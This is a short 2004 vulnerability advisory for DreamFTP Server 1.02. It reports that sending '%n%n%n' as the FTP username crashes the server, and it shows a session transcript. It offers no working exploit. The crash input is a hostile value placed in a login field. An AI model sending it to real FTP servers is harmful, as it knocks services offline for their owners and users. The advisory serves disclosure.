DreamFTP Server 1.02 Buffer Overflow

["badpack3t" <badpack3t () security-protocols com>]

SP Research Labs Advisory x09
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DreamFTP 1.02 Buffer Overflow
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Vendor Home Page:
http://www.bolintech.com/

Date Released - 2.6.2004

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Product Description from the vendor:

Dream FTP Server provides powerful, multithreaded and robust FTP server
performance with a user-friendly and easy-of-use interfaces.

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Buffer Overflow

When connecting to the ftp server and supplying %n%n%n for the username,
the ftp server crashes.

Example:
---------

C:\>ftp 192.168.1.101
Connected to 192.168.1.101.
220- ****************************************
220-
220- Welcome to Dream FTP Server
220- Copyright 2002 - 2004
220- BolinTech Inc.
220-
220- ****************************************
220-
220
User (192.168.1.101:(none)): %n%n%n
Connection closed by remote host.

**Application Crashes**

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Exploit:

Not worth the time to debug and code an exploit.

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Tested on WindowsXP SP1

Original Advisory:

http://www.security-protocols.com/modules.php?name=News&file=article&sid=1722

peace out,

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badpack3t
www.security-protocols.com
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